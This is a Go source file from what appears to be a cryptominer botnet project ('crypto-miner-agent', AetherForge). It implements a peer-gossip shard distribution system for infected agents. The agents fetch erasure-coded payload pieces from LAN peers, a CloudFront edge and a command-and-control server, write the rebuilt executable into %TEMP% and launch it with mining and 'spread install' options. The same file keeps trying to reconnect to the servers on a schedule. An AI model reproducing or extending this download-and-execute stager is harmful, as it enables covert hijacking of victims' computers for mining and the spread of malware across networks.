Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.
442 lines
11 KiB
Go
442 lines
11 KiB
Go
package deploy
|
|
|
|
import (
|
|
"crypto/sha256"
|
|
"encoding/hex"
|
|
"fmt"
|
|
"io"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"sort"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
const (
|
|
fleetTorrentMaxLANNeighbors = 3
|
|
fleetTorrentZeroServerRetry = 30 * time.Minute
|
|
)
|
|
|
|
const (
|
|
FleetGossipHaveShard = "have_shard"
|
|
FleetGossipHealthy = "healthy"
|
|
FleetGossipKnowNode = "know_node"
|
|
)
|
|
|
|
type FleetGossipRecord struct {
|
|
Kind string `json:"kind"`
|
|
AgentID string `json:"agent_id,omitempty"`
|
|
Subnet string `json:"subnet,omitempty"`
|
|
Token string `json:"token,omitempty"`
|
|
ShardIndex int `json:"shard_index,omitempty"`
|
|
ShardHash string `json:"shard_hash,omitempty"`
|
|
Region string `json:"region,omitempty"`
|
|
ShardAdvert string `json:"shard_advert,omitempty"`
|
|
TargetAgentID string `json:"target_agent_id,omitempty"`
|
|
Healthy bool `json:"healthy,omitempty"`
|
|
FetchURL string `json:"fetch_url,omitempty"`
|
|
}
|
|
|
|
type ShardPeer struct {
|
|
AgentID string
|
|
Subnet string
|
|
Region string
|
|
FetchURL string
|
|
}
|
|
|
|
type FleetShardDHT struct {
|
|
mu sync.RWMutex
|
|
peers map[string]map[int][]ShardPeer
|
|
shardHash map[string]map[int]string
|
|
healthy map[string]bool
|
|
local map[string]map[int][]byte
|
|
}
|
|
|
|
var globalFleetDHT = &FleetShardDHT{
|
|
peers: make(map[string]map[int][]ShardPeer),
|
|
shardHash: make(map[string]map[int]string),
|
|
healthy: make(map[string]bool),
|
|
local: make(map[string]map[int][]byte),
|
|
}
|
|
|
|
func FleetShardDHTSnapshot() *FleetShardDHT { return globalFleetDHT }
|
|
|
|
func SetFleetShardDHT(dht *FleetShardDHT) {
|
|
if dht != nil {
|
|
globalFleetDHT = dht
|
|
}
|
|
}
|
|
|
|
func shardContentHash(data []byte) string {
|
|
sum := sha256.Sum256(data)
|
|
return hex.EncodeToString(sum[:])
|
|
}
|
|
|
|
func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
|
|
if d == nil || len(records) == 0 {
|
|
return
|
|
}
|
|
d.mu.Lock()
|
|
defer d.mu.Unlock()
|
|
for _, r := range records {
|
|
switch strings.TrimSpace(strings.ToLower(r.Kind)) {
|
|
case FleetGossipHaveShard:
|
|
if r.Token == "" || r.AgentID == "" {
|
|
continue
|
|
}
|
|
region := strings.TrimSpace(r.Region)
|
|
if region == "" && r.ShardAdvert != "" {
|
|
if parsed, _, ok := ParseShardAdvert(r.ShardAdvert); ok {
|
|
region = parsed
|
|
}
|
|
}
|
|
if d.peers[r.Token] == nil {
|
|
d.peers[r.Token] = make(map[int][]ShardPeer)
|
|
}
|
|
if d.shardHash[r.Token] == nil {
|
|
d.shardHash[r.Token] = make(map[int]string)
|
|
}
|
|
if h := strings.TrimSpace(strings.ToLower(r.ShardHash)); h != "" {
|
|
d.shardHash[r.Token][r.ShardIndex] = h
|
|
}
|
|
peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, Region: region, FetchURL: r.FetchURL}
|
|
d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer)
|
|
case FleetGossipHealthy:
|
|
if r.AgentID != "" {
|
|
d.healthy[r.AgentID] = r.Healthy
|
|
}
|
|
case FleetGossipKnowNode:
|
|
if r.TargetAgentID != "" {
|
|
d.healthy[r.TargetAgentID] = true
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func appendUniquePeer(peers []ShardPeer, p ShardPeer) []ShardPeer {
|
|
for _, existing := range peers {
|
|
if existing.AgentID == p.AgentID && existing.FetchURL == p.FetchURL {
|
|
return peers
|
|
}
|
|
}
|
|
return append(peers, p)
|
|
}
|
|
|
|
func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
|
|
if d == nil || token == "" || len(body) == 0 {
|
|
return
|
|
}
|
|
d.mu.Lock()
|
|
defer d.mu.Unlock()
|
|
if d.local[token] == nil {
|
|
d.local[token] = make(map[int][]byte)
|
|
}
|
|
d.local[token][index] = append([]byte(nil), body...)
|
|
}
|
|
|
|
func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
|
|
if d == nil {
|
|
return nil, false
|
|
}
|
|
d.mu.RLock()
|
|
defer d.mu.RUnlock()
|
|
if d.local[token] == nil {
|
|
return nil, false
|
|
}
|
|
body, ok := d.local[token][index]
|
|
if !ok {
|
|
return nil, false
|
|
}
|
|
return append([]byte(nil), body...), true
|
|
}
|
|
|
|
func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, localRegion string) []ShardPeer {
|
|
if d == nil {
|
|
return nil
|
|
}
|
|
d.mu.RLock()
|
|
defer d.mu.RUnlock()
|
|
raw := d.peers[token][index]
|
|
if len(raw) == 0 {
|
|
return nil
|
|
}
|
|
out := make([]ShardPeer, len(raw))
|
|
copy(out, raw)
|
|
sort.Slice(out, func(i, j int) bool {
|
|
si := peerScore(out[i], localSubnet, localRegion)
|
|
sj := peerScore(out[j], localSubnet, localRegion)
|
|
if si != sj {
|
|
return si > sj
|
|
}
|
|
return out[i].AgentID < out[j].AgentID
|
|
})
|
|
return out
|
|
}
|
|
|
|
func (d *FleetShardDHT) ShardContentHash(token string, index int) string {
|
|
if d == nil {
|
|
return ""
|
|
}
|
|
d.mu.RLock()
|
|
defer d.mu.RUnlock()
|
|
if d.shardHash[token] == nil {
|
|
return ""
|
|
}
|
|
return d.shardHash[token][index]
|
|
}
|
|
|
|
func peerScore(p ShardPeer, localSubnet, localRegion string) int {
|
|
if localSubnet != "" && p.Subnet == localSubnet {
|
|
return 4
|
|
}
|
|
if localRegion != "" && p.Region == localRegion {
|
|
return 3
|
|
}
|
|
if p.Region != "" {
|
|
return 2
|
|
}
|
|
if p.Subnet != "" {
|
|
return 1
|
|
}
|
|
return 0
|
|
}
|
|
|
|
func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer {
|
|
if maxLAN <= 0 {
|
|
maxLAN = fleetTorrentMaxLANNeighbors
|
|
}
|
|
var out []ShardPeer
|
|
for _, p := range peers {
|
|
if localSubnet != "" && p.Subnet == localSubnet {
|
|
out = append(out, p)
|
|
if len(out) >= maxLAN {
|
|
break
|
|
}
|
|
}
|
|
}
|
|
return out
|
|
}
|
|
|
|
func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, localSubnet, localRegion string, dht *FleetShardDHT) ([]byte, error) {
|
|
if dht == nil {
|
|
dht = globalFleetDHT
|
|
}
|
|
if body, ok := dht.LocalShard(token, index); ok {
|
|
return body, nil
|
|
}
|
|
peers := dht.PeersForShard(token, index, localSubnet, localRegion)
|
|
try := func(url string) ([]byte, error) {
|
|
if url == "" {
|
|
return nil, fmt.Errorf("empty url")
|
|
}
|
|
if erasureFetchFn != nil {
|
|
return erasureFetchFn(url)
|
|
}
|
|
return fetchErasureShardHTTP(url)
|
|
}
|
|
for _, p := range PickLANNeighborPeers(peers, localSubnet, fleetTorrentMaxLANNeighbors) {
|
|
if body, err := try(p.FetchURL); err == nil {
|
|
return body, nil
|
|
}
|
|
}
|
|
for _, p := range peers {
|
|
if localSubnet != "" && p.Subnet == localSubnet {
|
|
continue
|
|
}
|
|
if localRegion != "" && p.Region == localRegion {
|
|
if body, err := try(p.FetchURL); err == nil {
|
|
return body, nil
|
|
}
|
|
}
|
|
}
|
|
for _, p := range peers {
|
|
if localSubnet != "" && p.Subnet == localSubnet {
|
|
continue
|
|
}
|
|
if localRegion != "" && p.Region == localRegion {
|
|
continue
|
|
}
|
|
if body, err := try(p.FetchURL); err == nil {
|
|
return body, nil
|
|
}
|
|
}
|
|
if cloudFrontURL != "" {
|
|
if body, err := try(cloudFrontURL); err == nil {
|
|
return body, nil
|
|
}
|
|
}
|
|
if c2URL != "" {
|
|
return try(c2URL)
|
|
}
|
|
return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index)
|
|
}
|
|
|
|
func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet, localRegion string) (string, error) {
|
|
if !plan.Enabled || len(plan.Shards) == 0 {
|
|
return "", fmt.Errorf("erasure plan disabled or empty")
|
|
}
|
|
p := erasureParams{DataShards: plan.DataShards, ParityShards: plan.ParityShards}
|
|
p, err := p.normalize()
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
dest, err := ResolveStagingPath(firstNonEmptyStr(plan.Dest, `%TEMP%\AetherForge\erasure-worker.exe`))
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
workDir := erasureWorkDir(cfg, plan.ShardToken)
|
|
if err := os.MkdirAll(workDir, 0o700); err != nil {
|
|
return "", err
|
|
}
|
|
cleanup := func() { _ = os.RemoveAll(workDir) }
|
|
|
|
dht := FleetShardDHTSnapshot()
|
|
shards := make([][]byte, p.totalShards())
|
|
c2 := strings.TrimRight(strings.TrimSpace(c2BaseURL), "/")
|
|
for _, ref := range plan.Shards {
|
|
if ref.Index < 0 || ref.Index >= len(shards) {
|
|
continue
|
|
}
|
|
if len(shards[ref.Index]) > 0 {
|
|
continue
|
|
}
|
|
c2URL := strings.TrimSpace(ref.URL)
|
|
if c2 == "" && c2URL == "" {
|
|
continue
|
|
}
|
|
if c2 != "" && !strings.HasPrefix(c2URL, "http") {
|
|
c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index)
|
|
}
|
|
region := localRegion
|
|
if region == "" {
|
|
region = strings.TrimSpace(cfg.AwsS3ShardRegion)
|
|
}
|
|
cfURL := cloudFrontShardURL(cfg.AwsCloudFrontDomain, plan.ShardToken, region, ref.Index, dht.ShardContentHash(plan.ShardToken, ref.Index))
|
|
if edge := strings.TrimSpace(ref.EdgeURL); edge != "" {
|
|
cfURL = edge
|
|
}
|
|
body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, cfURL, localSubnet, localRegion, dht)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
shards[ref.Index] = body
|
|
}
|
|
payload, err := decodeErasureShards(shards, plan.PayloadSize, p)
|
|
if err != nil {
|
|
cleanup()
|
|
return "", err
|
|
}
|
|
if err := verifyBytesSHA256(payload, plan.PayloadSHA256); err != nil {
|
|
cleanup()
|
|
return "", err
|
|
}
|
|
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
|
|
cleanup()
|
|
return "", err
|
|
}
|
|
if err := os.WriteFile(dest, payload, 0o755); err != nil {
|
|
cleanup()
|
|
return "", err
|
|
}
|
|
launch := strings.TrimSpace(plan.Launch)
|
|
if launch == "" {
|
|
launch = "exe"
|
|
}
|
|
launchFn := erasureLaunchFn
|
|
if launchFn == nil {
|
|
launchFn = launchErasureStagedBinary
|
|
}
|
|
msg, err := launchFn(dest, launch, plan.DLLExport, plan.DeferMining, plan.SpreadInstall)
|
|
cleanup()
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
return "fleet_torrent: " + msg, nil
|
|
}
|
|
|
|
func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
|
|
if fetchFn == nil {
|
|
fetchFn = fetchErasureShardHTTP
|
|
}
|
|
dht := FleetShardDHTSnapshot()
|
|
var records []FleetGossipRecord
|
|
for _, ref := range plan.Shards {
|
|
body, err := fetchFn(strings.TrimSpace(ref.URL))
|
|
if err != nil || len(body) == 0 {
|
|
continue
|
|
}
|
|
hash := shardContentHash(body)
|
|
dht.StoreLocalShard(plan.ShardToken, ref.Index, body)
|
|
records = append(records, FleetGossipRecord{
|
|
Kind: FleetGossipHaveShard, Token: plan.ShardToken, ShardIndex: ref.Index,
|
|
ShardHash: hash, Region: strings.TrimSpace(region),
|
|
ShardAdvert: FormatShardAdvert(region, ref.Index), FetchURL: ref.URL, Healthy: true,
|
|
})
|
|
}
|
|
return records
|
|
}
|
|
|
|
func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) {
|
|
if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder || gossipFn == nil {
|
|
return
|
|
}
|
|
go func() {
|
|
ticker := time.NewTicker(5 * time.Minute)
|
|
defer ticker.Stop()
|
|
for range ticker.C {
|
|
region := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)
|
|
if recs := IngestErasureShardsForSeeder(plan, region, fetchErasureShardHTTP); len(recs) > 0 {
|
|
gossipFn(recs)
|
|
}
|
|
}
|
|
}()
|
|
}
|
|
|
|
func StartZeroServerReconnect(reconnectFn func() error) {
|
|
if reconnectFn == nil {
|
|
return
|
|
}
|
|
go func() {
|
|
ticker := time.NewTicker(fleetTorrentZeroServerRetry)
|
|
defer ticker.Stop()
|
|
for range ticker.C {
|
|
_ = reconnectFn()
|
|
}
|
|
}()
|
|
}
|
|
|
|
func ParseSwarmMagnetToken(magnet string) string {
|
|
magnet = strings.TrimSpace(magnet)
|
|
if magnet == "" {
|
|
return ""
|
|
}
|
|
if idx := strings.Index(magnet, "tr=urn:aetherforge:erasure:"); idx >= 0 {
|
|
rest := magnet[idx+len("tr=urn:aetherforge:erasure:"):]
|
|
if amp := strings.Index(rest, "&"); amp >= 0 {
|
|
rest = rest[:amp]
|
|
}
|
|
return strings.TrimSpace(rest)
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func FetchShardManifestHTTP(manifestURL string) ([]byte, error) {
|
|
if manifestURL == "" {
|
|
return nil, fmt.Errorf("empty manifest url")
|
|
}
|
|
client := &http.Client{Timeout: 30 * time.Second}
|
|
resp, err := client.Get(manifestURL)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
defer resp.Body.Close()
|
|
if resp.StatusCode != http.StatusOK {
|
|
return nil, fmt.Errorf("manifest HTTP %d", resp.StatusCode)
|
|
}
|
|
return io.ReadAll(io.LimitReader(resp.Body, 8<<20))
|
|
}
|